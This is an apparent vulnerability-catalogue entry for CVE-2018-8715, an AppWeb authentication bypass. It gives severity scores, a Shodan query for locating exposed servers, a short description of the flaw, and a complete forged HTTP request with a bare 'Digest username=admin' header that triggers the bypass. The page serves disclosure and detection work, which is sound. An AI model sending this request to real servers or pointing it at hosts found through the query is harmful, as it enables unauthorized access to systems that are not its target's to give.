| Title | AppWeb - Authentication Bypass |
|---|---|
| Author | milo2012 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application. |
| Remediation | Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb. |
| CVSS Score | 8.1 |
| EPSS Score | 0.92326 |
| CVE ID | CVE-2018-8715 |
| CWE ID | CWE-287 |
| Shodan Query | cpe:"cpe:2.3:a:embedthis:appweb" |
| Tags | cve cve2018 appweb auth-bypass embedthis vuln |
The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Connection: close
Authorization: Digest username=admin
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-8715.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-8715.pcap
N/AN/A